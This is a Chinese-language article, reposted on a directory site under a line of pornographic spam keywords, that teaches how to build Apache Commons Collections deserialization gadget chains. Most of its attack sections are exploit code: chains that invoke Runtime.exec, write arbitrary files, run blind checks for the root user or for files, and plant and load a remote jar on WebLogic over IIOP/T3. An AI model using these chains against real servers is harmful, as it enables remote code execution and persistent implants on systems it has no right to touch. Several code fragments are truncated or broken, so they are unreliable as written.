日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

1 簡介

眾所周知,CommonCollection Gadget主要是由ConstantTransformer,InvokerTransformer,ChainedTransformer構成。gadget主要通過Transformer接口 的transform方法,對輸入的對象做變換。ConstantTransformer不會做任何變換,只會返回類在實例化時傳入的對象,InvokerTransformer會對類在實例化時傳入的參數,通過反射去調用,ChainedTransformer將所有的Transformer連接起來,上一個Transformer的transform方法的結果,作為下一個Transformer的transform方法的參數。這樣就完成JAVA反序列化的gadget。下面為調用Runtime執行calc的CommonCollection的chain

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

上面的chain等效與下面的代碼

Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object

從上面的代碼中我們可以暫時得出以下結論

  1. 只有鏈式調用的方法才可以被改寫成CommonCollection執行鏈
  2. gadget中,不能有變量聲明語句
  3. 沒有while等語句
  4. 一切操作靠反射

2 CommonCollection其他Transform的簡介


org.Apache.commons.collections.functors中,所有的類都可以被簡單的分為三類,分別繼承自Transformer接口, Predicate接口,Closure接口。這三個接口主要有以下區別

  1. Transformer接口接收一個對象,返回對象的執行結果
  2. Closure接口接收一個對象,不返回對象的執行結果
  3. Predicate接口,類似條件語句,會根據執行結果,返回true或者false。這個將主要用在SwitchTransformer類中

對于我們來說,Closure接口沒有太多用,下面主要介紹一下繼承自Transformer接口的類與繼承自Predicate接口的類

繼承自Transformer接口的類

ChainedTransformer

將實例化后的Transformer的類的數組,按順序一個一個執行,前面的transform結果作為下一個transform的輸出。

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

CloneTransformer

調用并返回輸入對象clone方法的結果

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        return PrototypeFactory.getInstance(input).create();
    }

ClosureTransformer

將Closure接口的類轉換為Transformer

    public Object transform(Object input) {
        iClosure.execute(input);
        return input;
    }

ConstantTransformer

調用transform方法,只返回類在實例化時存儲的類

public Object transform(Object input) {    return iConstant;}

ExceptionTransformer

拋出一個異常,FunctorException

public Object transform(Object input) {    throw new FunctorException("ExceptionTransformer invoked");}

FactoryTransformer

調用相應的工廠類并返回結果

public Object transform(Object input) {    return iFactory.create();}

InstantiateTransformer

根據給定的參數,在調用transform方法的時候實例化一個類

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

InvokerTransformer

調用transform方法的時候,根據類在實例化時提供的參數,通過反射去調用輸入對象的方法

MapTransformer

在調用transform方法時,將輸入函數作為key,返回類在實例化時參數map的value

public Object transform(Object input) {    return iMap.get(input);}

NOPTransformer

啥也不干的Transformer

public Object transform(Object input) {    return input;}

SwitchTransformer

類似if語句,在如果條件為真,則執行第一個Transformer,如果條件為假,則執行第二個Transformer

    public Object transform(Object input) {
        for (int i = 0; i < iPredicates.length; i++) {
            if (iPredicates[i].evaluate(input) == true) {
                return iTransformers[i].transform(input);
            }
        }
        return iDefault.transform(input);
    }

PredicateTransformer

將Predicate包裝為Transformer

public Object transform(Object input) {    return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);}

StringValueTransformer

調用String.valueOf,并返回結果

public Object transform(Object input) {
        return String.valueOf(input);
    }

繼承自Predicate接口的類

AllPredicate

在執行多個Predicate,是否都返回true。

    public boolean evaluate(Object object) {
        for (int i = 0; i < iPredicates.length; i++) {
            if (iPredicates[i].evaluate(object) == false) {
                return false;
            }
        }
        return true;
    }

AndPredicate

兩個Predicate是否都返回true

public boolean evaluate(Object object) {
       return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));
    }

AnyPredicate

與AllPredicate相反,只要有任意一個Predicate返回true,則返回true

    public boolean evaluate(Object object) {
        for (int i = 0; i < iPredicates.length; i++) {
            if (iPredicates[i].evaluate(object)) {
                return true;
            }
        }
        return false;
    }

EqualPredicate

輸入的對象是否與類在實例化時提供的對象是否一致

public boolean evaluate(Object object) {    return (iValue.equals(object));}

ExceptionPredicate

在執行evaluate時拋出一個異常

FalsePredicate

永遠返回False

IdentityPredicate

evaluate方法中輸入的對象是否與類實例化時提供的類是否一樣

public boolean evaluate(Object object) {    return (iValue == object);}

InstanceofPredicate

輸入的對象是否與類實例化時提供的類的類型是否一致

public boolean evaluate(Object object) {    return (iType.isInstance(object));}

NotPredicate

對evaluate的結果取反操作

public boolean evaluate(Object object) {    return !(iPredicate.evaluate(object));}

NullIsExceptionPredicate

如果輸入的對象為null,則拋出一個異常

NullIsFalsePredicate

如果輸入的對象為null,則返回false

NullIsTruePredicate

如果輸入的對象為null,則返回true

NullPredicate

輸入的對象是否為null

OrPredicate

類似與條件語句中的或

public boolean evaluate(Object object) {   return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));}

TransformerPredicate

將一個Transformer包裝為Predicate

0x03 使用方法

CommonCollection寫入文件

這種方法通過InvokerTransformr調用構造函數,然后再寫入文件。當然,這里我們可以使用InstantiateTransformer去實例化FileOutputStream類去寫入文件,代碼如下

                new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(FileOutputStream.class),
                        new InstantiateTransformer(
                                new Class[]{
                                        String.class, Boolean.TYPE
                                },
                                new Object[]{
                                        "filePath, false
                                }),
                        new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
                }),

Gadget版盲注

思想類似于Sql的盲注。我們可以通過如下語句檢測java進程是否是root用戶

if (System.getProperty("user.name").equals("root")){
    throw new Exception();
}

我們可以通過如下cc鏈,執行該語句

        TransformerUtils.switchTransformer(
                PredicateUtils.asPredicate(
                        new ChainedTransformer(new Transformer[]{
                                new ConstantTransformer(System.class),
                                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
                                new InvokerTransformer("invoke",
                                        new Class[]{Object.class, Object[].class},
                                        new Object[]{null, new Object[]{"user.name"}}),
                                new InvokerTransformer("toString",
                                        new Class[]{},
                                        new Object[0]),
                                new InvokerTransformer("toLowerCase",
                                        new Class[]{},
                                        new Object[0]),
                                new InvokerTransformer("contains",
                                        new Class[]{CharSequence.class},
                                        new Object[]{"root"}),
                        })),
                new TransformerUtils.exceptionTransformer(),
                new TransformerUtils.nopTransformer());

是否存在某些文件

if (File.class.getConstructor(String.class).newInstance("/etc/passed").exists()){
    Thread.sleep(7000);
}

改寫成cc鏈

TransformerUtils.switchTransformer(
    PredicateUtils.asPredicate(
        new ChainedTransformer( new Transformer[] {
            new ConstantTransformer(File.class),
            new InstantiateTransformer(
                    new Class[]{
                            String.class
                    },
                    new Object[]{
                            path
                    }),
            new InvokerTransformer("exists", null, null)
        })
    ),

    new ChainedTransformer( new Transformer[] {
        new ConstantTransformer(Thread.class),
        new InvokerTransformer("getMethod",
                new Class[]{
                        String.class, Class[].class
                },
                new Object[]{
                        "sleep", new Class[]{Long.TYPE}
                }),
        new InvokerTransformer("invoke",
                new Class[]{
                        Object.class, Object[].class
                }, new Object[]
                {
                        null, new Object[] {7000L}
                })
    }),

    TransformerUtils.nopTransformer();)

weblogic iiop/T3回顯

主要問題有 目前只能用URLClassloader,但是需要確定上傳到weblogic服務器的位置。而這里我們知道,windows與linux的臨時目錄以及file協議訪問上傳文件的絕對路徑肯定不一樣。如果只用invokerTransform的話,最簡單的執行回顯的方案如下

sequenceDiagram
攻擊者->>weblogic: 上傳至Linux的臨時目錄/tmp/xxx.jar
攻擊者->>weblogic: 調用urlclassloader加載,安裝實例
攻擊者->>weblogic:通過lookup查找實例,檢測是否安裝成功
weblogic->>攻擊者: 安裝成功,結束
weblogic->>攻擊者: 安裝失敗,拋出異常
攻擊者->>weblogic: 上傳至windows的臨時目錄 C:\Windows\Temp\xxx.jar
攻擊者->>weblogic: 調用urlclassloader加載,安裝實例
攻擊者->>weblogic:通過lookup查找實例,檢測是否安裝成功
weblogic->>攻擊者: 安裝成功 結束
weblogic->>攻擊者: 安裝失敗

攻擊一次weblogic服務器,最多可能需要發送6次反序列化包,才能成功的給weblogic服務器安裝實例。這顯然不符合我們精簡代碼的思想。下面我們用正常思維的方式去執行一下攻擊過程

if (os == 'win'){
    fileOutput(winTemp)
    }
else{
    fileOutput(LinuxTemp)
    }
if (os == 'win'){
    urlclassloader.load(winTemp)
    }
else{
    urlclassloader.load(LinuxTemp)
    }

這里我們可以使用SwitchTransformer + Predicate + ChainedTransformer 組合去完成。

  1. SwitchTransformer類似于if語句
  2. Predicate類似于條件語句
  3. ChainedTransformer 將所有的語句串起來執行

SwitchTransformer類需要一個Predicate,而這里TransformerPredicate可以將一個Transformer轉換為一個Predicate。所以我們需要一個可以判斷操作系統的chain。然后將判斷操作系統的chain作為Predicate,調用switchTransformer,根據結果,將可執行ja包寫入win或者linux的臨時目錄。然后再調用第二個switchTransformer,根據操作系統的類型,調用URLclassloader分別加載相應上傳位置的jar包,通過chainedTransformer將兩個SwitchTransformer將兩個SwitchTransform連接起來。代碼如下

        Transformer t = TransformerUtils.switchTransformer(
                PredicateUtils.asPredicate(
                        getSysTypeTransformer()
                ),
                new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(FileOutputStream.class),
                        new InstantiateTransformer(
                                new Class[]{
                                        String.class, Boolean.TYPE
                                },
                                new Object[]{
                                        "C:\Windows\Temp\xxx.jar", false
                                }),
                        new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
                }),
                TransformerUtils.nopTransformer());

        Transformer t1 = TransformerUtils.switchTransformer(
                PredicateUtils.asPredicate(
                        getSysTypeTransformer()
                ),
                new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(URLClassLoader.class),
                        new InstantiateTransformer(
                                new Class[]{
                                        URL[].class
                                },
                                new Object[]{
                                        new URL[]{new URL("file:/C:\Windows\Temp\xxx.jar")}
                                }),
                        new InvokerTransformer("loadClass",
                                new Class[]{String.class}, new Object[]{className}),
                        new InvokerTransformer("getMethod",
                                new Class[]{String.class, Class[].class}, new Object[]{"test", new Class[]{String.class}}),
                        new InvokerTransformer("invoke",
                                new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{op}})}),
                TransformerUtils.nopTransformer()); // 這塊自行改成linux的吧

        Transformer list = new ChainedTransformer(new Transformer[]{
                t,
                t1
        });

    private static ChainedTransformer getSysTypeTransformer() {
        return new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(System.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[]{"os.name"}}),
                new InvokerTransformer("toString",
                        new Class[]{},
                        new Object[0]),
                new InvokerTransformer("toLowerCase",
                        new Class[]{},
                        new Object[0]),
                new InvokerTransformer("contains",
                        new Class[]{CharSequence.class},
                        new Object[]{"win"}),
        });
    }

參考:

  1. https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/functors/SwitchTransformer.html
  2. https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html#WhileClosure

分享到:
標簽:Apache
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定